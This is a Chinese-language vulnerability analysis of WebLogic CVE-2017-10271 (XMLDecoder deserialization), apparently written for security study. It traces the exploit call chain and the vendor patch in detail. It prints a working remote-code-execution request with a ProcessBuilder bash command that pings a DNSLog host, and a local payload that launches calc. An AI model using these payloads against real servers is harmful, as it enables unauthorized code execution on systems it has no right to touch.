WebLogic历史漏洞代码审计(二):WebLogic-XMLDecoder反序列化漏洞分析
文章目录
WebLogic历史漏洞代码审计(二):WebLogic-XMLDecoder反序列化漏洞分析简介前置知识漏洞成因XMLEncoder&XMLDecoderXML标签、属性介绍string标签object标签void标签array标签 XMLDecoder使用的是SAX解析规范apache xercesDocumentHandler各种handler的处理机制分析JavaElementHandlerNewElementHandlerObjectElementHandlerVoidElementHandler CVE-2017-10271POC第一部分利用链调试分析第二部分利用链调试分析 漏洞修补方法总结参考文档
简介
Weblogic反序列化高危漏洞主要涉及到两个种类:
1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:
CVE-2017-10271,CVE-2017-3506
2、利用java反序列化进行远程代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-
2018-2894
本章主要讲CVE-2017-10271,CVE-2017-3506的代码分析
以上一篇文章搭建的CVE-2017-10271审计环境为例,我将CVE-2017-10271的利用链分为两部分
第一部分利用链为WorkContextServerTube#processRequest到WorkContextXmlInputAdapter#readUTF
即为/wls-wsat/CoordinatorPortType路径接收POC到其被xmldecoder.readobject调用
第二部分利用链为xmldecoder.readobject触发反序列化从而执行命令的过程
前置知识
漏洞成因
漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞,所以我们主要研究第二部分利用链xmldecoker是如何导致命令执行的。
打开wls-wsat.war!/WEB-INF/web.xml,可以发现存在漏洞的 wls-wsat 组件中包含不同的路由,均能触发漏洞,我们第一个利用链的接收路径即为图中的/wls-wsat/CoordinatorPortType
XMLEncoder&XMLDecoder
XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
说白了这两个类的主要功能就是序列化与反序列化,其调用了readobject与writeobject方法来实现功能
XML标签、属性介绍
string标签
hello,xml字符串的表示方式为<string>Hello,xml</string>
object标签
通过 标签表示对象, class 属性指定具体类(用于调用其内部方法),method 属性指定具体方法名称(比如构造函数的的方法名为 new )
new JButton(“Hello,xml”) 对应的XML文档:
<object class="javax.swing.JButton" method="new"> <string>Hello,xml</string></object>
void标签
通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。
JButton b = new JButton();b.setText(“Hello, world”); 对应的XML文档:
<object class="javax.swing.JButton"> <void method="setText"> <string>Hello,xml</string> </void></object>
array标签
通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:
<array class="java.lang.String" length="3"> <void index="1"> <string>Hello,xml</string> </void></array>
XMLDecoder使用的是SAX解析规范
SAX是简单XML访问接口,是一套XML解析规范,使用事件驱动的设计模式,那么事件驱动的设计模式自然就会有事件源和事件处理器以及相关的注册方法将事件源和事件处理器连接起来。
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
本章第二部分利用链即为通过JAXP的工厂方法生成SAX对象,SAX对象使用SAXParser.parer()作为事件源,ContentHandler、ErrorHandler、DTDHandler、EntityResolver作为事件处理器,通过注册方法将二者连接起来。
apache xerces
apache xerces是XMLDecoder解析XML时的一个重要组件。
apache xerces是一个用于解析XML中有哪些标签,语法是否合法的解析器,官方在JDK1.5便集成了此解析器并作为XML的默认解析器。
在XML序列化数据传达至XMLDecoder.readObject() 方法进行反序列化等操作后,便会传递给xerces进行解析,在xerces解析完毕后数据便会交给DocumentHandler完成后续的操作,如果是JDK1.6便会交给ObjectHandler进行处理。
DocumentHandler
DocumentHandler(com.sun.beans.decoder.DocumentHandler)在XMLDecoder处理XML数据时起到事件处理器的作用,它在JDK1.7中被实现。
它会跟进传入的XML标签,属性等信息调用不同的Handler进行事件处理
我们针对XMLDecoder的反序列化攻击便是传入特定的XML序列化数据由DocumentHandler进行事件处理,进而实现RCE等攻击。
下图是jdk8 DocumentHandler中所定义的各种标签的处理办法。
各种handler的处理机制分析
只有了解handler的处理机制才会知道不同handler是如何处理完xml并将其构造为具体的代码并实行的
不同的XML标签对应着不同的handler,也就对应着不同的处理机制。
大多数handler都有addAttribute方法,这个方法主要用于提取标签中的属性并进行处理;
以及getValueObject方法,这个方法主要用于获取标签的值。
JavaElementHandler
处理java标签的Handler,var1对应着属性名,var2对应着属性值,java标签会根据class属性中的值进行类加载,也就是**this.type = this.getOwner().findClass(var2);**的作用
NewElementHandler
处理New标签的Handler,也会进行类加载操作,不过NewElementHandler是许多handler的父类(如ArrayElementHandler,ObjectElementHandler),这就意味着NewElementHandler的子类也可以进行类加载,因为addAttribute中的else逻辑,不存在的属性名从父类找
ObjectElementHandler
处理Object标签的Handler,为NewElementHandler的子类,也可以进行类加载
VoidElementHandler
处理Void标签的Handler,为ObjectElementHandler的子类,所以基本功能都一样
CVE-2017-10271
POC
发送POC后去DNSLog网站看看,ping通了代表复现成功
POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001accept: */*Connection: closeContent-Length: 843Content-Type: text/xmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>ping dwbvvusntnkyqbscaeas4woks5gq9g503.oast.fun</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>
第一部分利用链调试分析
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
1,如下图打上断点,启动调试
2,burp发包,由于上一篇搭建的是本机的docker环境,发本机指定的7001端口(weblogic的运行端口)即可
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
3,发包后自动跳转到调试界面,开始调试
这里的var1即为我们发送的恶意SOAP(xml)数据,var2是数据中的headers,var3则是获取var2的数组中的第一个StreamHeader得到的数据,并将其传入readHeaderOld函数中
weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
4,var4 的字节数组输入流传入 WorkContextXmlInputAdapter 的构造函数,var4即为我们的xml数据中执行命令的xml数据
weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter
5,将var1中的xml输入流传入XMLDecoder的构造函数中,构造函数会将其保存在in属性中
对比XMLDecoder.in与var1中的buf可知字节输入流传入进去了
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
6,接着返回到第4步,返回一个包含XMLDecoder数据的WorkContextXmlInputAdapter var6实例对象,其实就是对var4进行了一个类型转化,并将其传入receive中
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
7,将其传入receiveRequest中,继续跟进
weblogic.workarea.WorkContextMapImpl#receiveRequest
8,被传递到 WorkContextLocalMap 类的 receiveRequest中,继续跟进
weblogic.workarea.WorkContextLocalMap#receiveRequest
9,传入readEntry中,继续跟进
weblogic.workarea.spi.WorkContextEntry
10,继续跟进readUTF
11,到这一步调用了var0的xmlDecoder.readObject方法,开始反序列化,第一部分调用链到此为止
这一部分利用链主要实现了两个功能,其一为将传入的SOAP形式的XML数据过滤并赋值给受害机的XMLDecoder实例对象中,其二为触发这个XMLDecoder的readobject方法(可以得知在构造POC时需要写SOAP形式的恶意XML数据)
可以参考下这个demo,本质上等同于第一部分利用链实现的所有功能,有助于大家的进一步理解,1.xml即为恶意XML代码
package xml;import java.beans.XMLDecoder;import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileNotFoundException;public class XmlDecoder { public static void main(String[] args) throws FileNotFoundException { XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("C:\\Users\\86137\\Desktop\\Maven3-jdk8\\1.xml"))); Object result = d.readObject(); System.out.println(result); d.close(); }}
1.xml
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"></void> </object></java>
第二部分利用链调试分析
第二部分在Maven3-jdk8项目环境下的demo(上面给的那个demo)进行调试分析了,poc也换为1.xml,方便进一步分析
XMLDecoder处理xml的流程为 :XMLDecoder.readObject() ->xerces解析->DocumentHandler事件处理
xml.XmlDecoder
1,调试界面如图所示,因为demo就是第一部分利用链的复现,所以直接对demo进行本地调试,远程调试实在麻烦,,能本地还是本地吧
java.beans.XMLDecoder#readObject
2,进入readObject,其调用了parsingComplete(),继续跟进
com.sun.beans.decoder.DocumentHandler#parse
3,根据前置知识中的(XMLDecoder使用的是SAX解析规范)可知,xmldecoder解析xml数据是使用SAX对象的SAXParser.parer() 作为事件源来进行解析,这行代码就是使用SAXParser工厂创建一个SAX对象,并调用其解析方法
其中DocumentHandler.this就是对XML标签进行解析处理的Handler合集
com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse
4,这里设置了Handler,继续根据parse
com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl.JAXPSAXParser#parse
5,进入到重载的parse,继续跟进
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse
6,将inputSource赋值给xmlInputSource,继续跟进
com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
7,继续跟进parse解析
com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse
8,继续跟进parse(boolean)解析
com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(boolean)
9,跟进到scanDocument中
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
10,由此进入到xerces解析的流程,可见do…while循环包含着switch…case与next(),由此来实现对xml标签的遍历,这里有个要注意的点,如图中的switch…case下面的代码都被注释掉了,真正的标签抉择是在next()中实现的
在如下图的next()上打断点,跟进
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
11,跟进两次next,到包含switch…case的PrologDriver#next,这才是真正对标签进行便利筛选的地方
12,在如下图所示打上断点,分别为识别到结束标签与识别到开始标签时需要跟进的地方,由此可以大概理解解析标签的设计思路:
先进行几次循环,先遇见开始标签,将其push标签堆fElementStack中,并将其传入startelement,根据标签名将其传入对应的Handler进行实例化,并通过链表的形式将一个个父子连接在一起,对应xml的标签之间的包含形式,当第n次循环时,第一次遇见结束标签,使用pop从fElementStack得到与startelement对应的标签,传入endelement,并调用getValueObject得到标签中的数据,传入Handler中。
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanStartElement
13,从第一个开始标签<java>,
fElementQName.setValues将name=“java”添加进fElementStack中
com.sun.beans.decoder.DocumentHandler#startElement
14,跟进到startelement,可知其先跟进传入的var3来得到对应的javaelement实例,并设置Owner与Parent,方便下一个循环来连接成链表,之后在for循环中将标签中的属性名与属性值添加进去
15,遇到第二个开始标签<Object>
,设置完Owner与Parent,进入到循环中,将其属性名与属性值加入Handler中
com.sun.beans.decoder.ObjectElementHandler#addAttribute
16,知识前缀提到过,ObjectElementHandler本身不能进行类加载,所以要调用父类NewElementHandler进行类加载
com.sun.beans.decoder.NewElementHandler#addAttribute
com.sun.beans.decoder.ElementHandler#endElement
17,直到遇见第一个结束标签</String>
时,会调用endElement,并通过getValueObject获取对应标签中的数据
com.sun.beans.decoder.StringElementHandler#getValueObject
18,this.sb即为存储的数据,将其赋值给this.value,并返回一个ValueObjectImpl的实例
com.sun.beans.decoder.ElementHandler#endElement
19,将返回的ValueObjectImpl实例赋值给var1后,var1取出value添加到<String>
标签的父标签<Void>
的handler也就是VoidElementHandler的Arguments数组中
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanEndElement
20,接下来再处理</void>
标签,通过next()中的switch…case,进入到scanEndElement,并pop之前建立的标签堆从而对称的得出与startelelment对应的标签名
21,调用VoidElementHandler的getValueObject(),void的handler没有getValueObject()实际上是调用父类的父类NewElementHandler的getValueObject()
com.sun.beans.decoder.NewElementHandler#getValueObject()
22,由于第19步将<string>
标签的值传入VoidElementHandler的arguments,所以该标签带有数据,需要进一步组装数据
com.sun.beans.decoder.ObjectElementHandler#getValueObject
23,这里的多个if检测<void>
的属性名,以此来判断该<void>
标签的作用,这里会停止在代码58行,标签的作用为数组元素的排序数,var4=set,并new一个Expression(表达式),传入set赋值给var5,并通过var5.getValue()来执行set方法将calc传入array
由第2,3张图片可知,图1的56行getContextBean是调用父类的type属性,即第16的图二标签中“class”属性名对应的属性值“java.lang.String”
com.sun.beans.decoder.ElementHandler#endElement
24,接下来再处理</array>
标签,将“calc”加入父类ObjectElementHandler的Arguments数组中
com.sun.beans.decoder.ObjectElementHandler#getValueObject
25,接下来再处理</void>
标签,还是如23先用getContextBean() 获取父标签“class”属性名对应的属性值“java.lang.ProcessBuilder”,并获取Value值“calc”,并返回ProcessBuilder的实例对象Var2
com.sun.beans.decoder.ElementHandler#getContextBean
26,跟进getContextBean() ,发现他调用了ObjectElementHandler的getValueObject
com.sun.beans.decoder.ObjectElementHandler#getValueObject
27,由于ObjectElementHandler的method为空,把new作为Var4代入Expression表达式,得到new ProcessBuilder(“calc”)
28,返回到getValueObject,<void>
标签的method为“start”,将var3=new ProcessBuilder(“calc”),var4=“start”,代入Expression构造中,拼接为new ProcessBuilder(“calc”).start(),再通过getValue启动start方法,命令执行,结束
漏洞修补方法
CVE-2017-10271的补丁是把黑名单补全,可见除了object,还有method,new,array等标签都被做了处理。
object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
补丁绕过
大概思路见我下面推荐的大佬建议,得靠大家自己研究了
总结
本篇文章为了方便大家理解,基本把所有的进程跟进都截图了进去,如果觉得麻烦,可以看完我的解析,对自己想了解的地方打断点即可,尤其是next那个地方,很容易搞乱,建议多看几次
xmldecoder就是利用栈与链的数据结构实现对xml数据的对象化映射,将其拼接到Expression表示式再利用反射去执行方法
参考文档
https://www.freebuf.com/vuls/303796.html
https://www.freebuf.com/articles/web/363612.html
https://xz.aliyun.com/t/8465?time__1311=n4%2BxuDgDBDyDnDfhYxlxGhb7eWy1tQCeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-7
https://da22le.github.io/java-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://cloud.tencent.com/developer/article/1957183(强烈推荐多看看大佬的,这是唯一一个将xmldecoder所有基本组件都讲清楚并以此逐步分析的)